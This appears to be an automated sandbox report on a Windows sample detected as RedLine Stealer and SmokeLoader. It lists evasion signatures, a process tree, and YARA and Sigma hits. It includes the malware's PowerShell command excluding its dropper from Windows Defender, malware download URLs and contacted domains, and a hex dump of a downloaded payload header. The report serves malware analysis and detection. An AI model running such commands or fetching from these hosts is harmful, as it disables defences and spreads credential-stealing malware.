Play interactive tour

Edit tour

Windows Analysis Report y4oMrtO1Mt.exe

Overview

General Information

Sample Name:	y4oMrtO1Mt.exe
Analysis ID:	518780
MD5:	db2ef30e8f821c8f00456941f5944849
SHA1:	01a08a69f1e8e6d822ece577a9ebe84a0c7f5f60
SHA256:	433cf9125a44e304eca2c5cf3bfe2af0b1deafd1c5e8d13d559e1bac9de711b3
Tags:	exeRedLineStealer
Infos:
Most interesting Screenshot:

Detection

RedLine SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

DLL reload attack detected

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect sandboxes and other dynamic analysis tools (window names)

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Adds a directory exclusion to Windows Defender

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Checks if the current machine is a virtual machine (disk enumeration)

PE file contains section with special chars

Hides threads from debuggers

.NET source code references suspicious native API functions

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Sigma detected: Powershell Defender Exclusion

.NET source code contains method to dynamically call methods (often used by packers)

PE file has nameless sections

Machine Learning detection for dropped file

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Contains functionality for execution timing, often used to detect debuggers

Entry point lies outside standard sections

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found inlined nop instructions (likely shell or obfuscated code)

PE file does not import any functions

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Detected TCP or UDP traffic on non-standard ports

Contains functionality to launch a program with higher privileges

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

y4oMrtO1Mt.exe (PID: 7100 cmdline: "C:\Users\user\Desktop\y4oMrtO1Mt.exe" MD5: DB2EF30E8F821C8F00456941F5944849)

y4oMrtO1Mt.exe (PID: 7140 cmdline: "C:\Users\user\Desktop\y4oMrtO1Mt.exe" MD5: DB2EF30E8F821C8F00456941F5944849)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

F72D.exe (PID: 6960 cmdline: C:\Users\user\AppData\Local\Temp\F72D.exe MD5: DB2EF30E8F821C8F00456941F5944849)

F72D.exe (PID: 5008 cmdline: C:\Users\user\AppData\Local\Temp\F72D.exe MD5: DB2EF30E8F821C8F00456941F5944849)

59B4.exe (PID: 5212 cmdline: C:\Users\user\AppData\Local\Temp\59B4.exe MD5: 510129781D403976345AFEA3BDB4E426)

8039.exe (PID: 5408 cmdline: C:\Users\user\AppData\Local\Temp\8039.exe MD5: EF9CFB2DDC4AF2089DF63A761ECC7833)

8039.exe (PID: 6032 cmdline: C:\Users\user\AppData\Local\Temp\8039.exe MD5: EF9CFB2DDC4AF2089DF63A761ECC7833)

9D57.exe (PID: 6244 cmdline: C:\Users\user\AppData\Local\Temp\9D57.exe MD5: 08CB82859479B33DC1D0738B985DB28C)

B8B0.exe (PID: 6784 cmdline: C:\Users\user\AppData\Local\Temp\B8B0.exe MD5: 9FA070AF1ED2E1F07ED8C9F6EB2BDD29)

AdvancedRun.exe (PID: 3544 cmdline: "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /EXEFilename "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

AdvancedRun.exe (PID: 6560 cmdline: "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /SpecialRun 4101d8 3544 MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

powershell.exe (PID: 3840 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 2912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

610B.exe (PID: 4936 cmdline: C:\Users\user\AppData\Local\Temp\610B.exe MD5: 7BD70FFC35AB8B39FDE9BD5FAEC876DB)

610B.exe (PID: 6984 cmdline: C:\Users\user\AppData\Local\Temp\610B.exe MD5: 7BD70FFC35AB8B39FDE9BD5FAEC876DB)

82DC.exe (PID: 4904 cmdline: C:\Users\user\AppData\Local\Temp\82DC.exe MD5: 0F289285CADCF1E656016A19789B5637)

conhost.exe (PID: 4500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

hrgjvbv (PID: 1572 cmdline: C:\Users\user\AppData\Roaming\hrgjvbv MD5: DB2EF30E8F821C8F00456941F5944849)

hrgjvbv (PID: 6780 cmdline: C:\Users\user\AppData\Roaming\hrgjvbv MD5: DB2EF30E8F821C8F00456941F5944849)

argjvbv (PID: 4856 cmdline: C:\Users\user\AppData\Roaming\argjvbv MD5: 08CB82859479B33DC1D0738B985DB28C)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\B8B0.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/

Memory Dumps

Source	Rule	Description	Author	Strings
0000001B.00000002.954434043.00000000036B5000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.879242303.00000000020A1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000001.00000002.725665133.00000000004A0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000000.851440177.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001B.00000002.946993376.0000000002180000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001D.00000002.945154520.0000000003D11000.00000004.00000001.sdmp	SUSP_Double_Base64_Encoded_Executable	Detects an executable that has been encoded with base64 twice	Florian Roth	0xbe080:$: VFZxUUFBT 0x11ab50:$: VFZxUUFBT
00000005.00000000.713707724.00000000044C1000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000002.941479001.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001B.00000003.917443337.0000000000720000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000D.00000002.797092954.00000000006E1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000014.00000002.860279815.00000000046F9000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.725720765.0000000000511000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000000.850675155.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000B.00000002.783710135.0000000002431000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000B.00000002.783461407.00000000005C0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000000.857126513.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000014.00000003.846233118.000000000115D000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000D.00000002.797009453.0000000000530000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000002.953920982.0000000002B80000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000000.853234726.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.878602271.00000000005E0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001B.00000002.950530750.0000000002600000.00000004.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001B.00000002.946243879.0000000002050000.00000004.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001D.00000002.948562304.0000000003EEF000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 8039.exe PID: 6032	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 8039.exe PID: 6032	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 82DC.exe PID: 4904	SUSP_Double_Base64_Encoded_Executable	Detects an executable that has been encoded with base64 twice	Florian Roth	0x60f38:$: VFZxUUFBT 0x8f492:$: VFZxUUFBT
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
27.2.610B.exe.36b5530.8.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
29.2.82DC.exe.3f36280.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.2600000.5.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.2050000.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.36b6418.6.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
29.2.82DC.exe.3f36280.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.0.8039.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.36b5530.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.8039.exe.4743790.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.0.8039.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.2.B8B0.exe.ce0000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
22.0.8039.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.36b6418.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.36d0f50.7.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.0.8039.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.2600000.5.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.2050000.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.0.8039.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.8039.exe.4729678.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.0.B8B0.exe.ce0000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
27.2.610B.exe.2050ee8.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.2050ee8.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.2.8039.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.8039.exe.4729678.4.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.21c0f6e.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.21c0086.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.0.B8B0.exe.ce0000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
27.2.610B.exe.21c0f6e.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.21c0086.4.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.0.B8B0.exe.ce0000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
24.0.B8B0.exe.ce0000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
27.2.610B.exe.36d0f50.7.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 27 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Script Execution From Temp Folder

Show sources

Source: Process started

Author: Florian Roth, Max Altgelt: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\B8B0.exe, ParentImage: C:\Users\user\AppData\Local\Temp\B8B0.exe, ParentProcessId: 6784, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, ProcessId: 3840

Sigma detected: Powershell Defender Exclusion

Show sources

Source: Process started

Author: Florian Roth: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\B8B0.exe, ParentImage: C:\Users\user\AppData\Local\Temp\B8B0.exe, ParentProcessId: 6784, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, ProcessId: 3840

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\B8B0.exe, ParentImage: C:\Users\user\AppData\Local\Temp\B8B0.exe, ParentProcessId: 6784, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, ProcessId: 3840

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://privacytoolzforyou7000.top/downloads/toolspab2.exe	Avira URL Cloud: Label: malware
Source: http://host-host-file6.com/files/7993_1636371023_9825.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\82DC.exe

Avira: detection malicious, Label: HEUR/AGEN.1144480

Multi AV Scanner detection for submitted file

Show sources

Source: y4oMrtO1Mt.exe

Virustotal: Detection: 28%

Perma Link

Multi AV Scanner detection for domain / URL

Show sources

Source: http://privacytoolzforyou7000.top/downloads/toolspab2.exe	Virustotal: Detection: 11%			Perma Link
Source: http://host-host-file6.com/files/7993_1636371023_9825.exe	Virustotal: Detection: 15%			Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\8039.exe	ReversingLabs: Detection: 35%
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	ReversingLabs: Detection: 53%
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	ReversingLabs: Detection: 74%
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Metadefender: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Roaming\argjvbv	ReversingLabs: Detection: 74%

Machine Learning detection for sample

Show sources

Source: y4oMrtO1Mt.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\argjvbv	Joe Sandbox ML: detected

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.4:49868 version: TLS 1.0

Source: y4oMrtO1Mt.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\9D57.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.4:49880 version: TLS 1.2

Source:	Binary string: C:\Windows\System.ServiceModel.pdbpdbdel.pdb source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\System.ServiceModel.pdb source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: c:\Projects\VS2005\AdvancedRun\Release\AdvancedRun.pdb source: AdvancedRun.exe, 0000001C.00000000.907769722.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000001E.00000000.914935574.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe.24.dr
Source:	Binary string: \??\C:\Windows\dll\System.ServiceModel.pdbU source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: C:\feze\liyixira.pdb source: 9D57.exe.5.dr
Source:	Binary string: C:\samuf.pdb source: y4oMrtO1Mt.exe
Source:	Binary string: _.pdb source: 610B.exe, 0000001B.00000002.954434043.00000000036B5000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: 9D57.exe, 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, 1105.tmp.23.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdbr9 source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: wntdll.pdb source: 9D57.exe, 1105.tmp.23.dr
Source:	Binary string: System.ServiceModel.pdbH source: 59B4.exe, 00000013.00000002.958905948.0000000000F3F000.00000004.00000020.sdmp
Source:	Binary string: System.ServiceModel.pdb source: 59B4.exe, 00000013.00000002.958905948.0000000000F3F000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb7] source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: #cC:\zan\cesibevu.pdb source: 610B.exe.5.dr
Source:	Binary string: C:\zan\cesibevu.pdb source: 610B.exe.5.dr
Source:	Binary string: %C:\feze\liyixira.pdbp+@` source: 9D57.exe.5.dr

Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 4x nop then add dword ptr [ebp-5Ch], 01h	24_2_03020520
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 4x nop then jmp 0302100Dh	24_2_03020DD0
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	24_2_030291CC
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	24_2_030291D8
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 4x nop then jmp 0302100Dh	24_2_03020DC0

Networking:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Domain query: nalirou70.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: nusurtal4f.net
Source: C:\Windows\explorer.exe	Domain query: host-host-file6.com
Source: C:\Windows\explorer.exe	Domain query: hajezey10.top
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou7000.top

Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1Host: cdn.discordapp.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 09 Nov 2021 21:20:51 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Tue, 09 Nov 2021 21:20:02 GMTETag: "47800-5d061ac268811"Accept-Ranges: bytesContent-Length: 292864Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd 92 82 96 f9 f3 ec c5 f9 f3 ec c5 f9 f3 ec c5 96 85 47 c5 d3 f3 ec c5 96 85 72 c5 e8 f3 ec c5 96 85 46 c5 9e f3 ec c5 f0 8b 7f c5 fe f3 ec c5 f9 f3 ed c5 7c f3 ec c5 96 85 43 c5 f8 f3 ec c5 96 85 76 c5 f8 f3 ec c5 96 85 71 c5 f8 f3 ec c5 52 69 63 68 f9 f3 ec c5 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4d 64 d7 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 14 03 00 00 a6 70 02 00 00 00 00 60 82 01 00 00 10 00 00 00 30 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 74 02 00 04 00 00 31 08 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ec 16 03 00 50 00 00 00 00 a0 72 02 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 72 02 c0 17 00 00 40 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 7b 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a8 12 03 00 00 10 00 00 00 14 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 2c 64 6f 02 00 30 03 00 00 12 00 00 00 18 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 42 00 00 00 a0 72 02 00 44 00 00 00 2a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 09 01 00 00 f0 72 02 00 0a 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
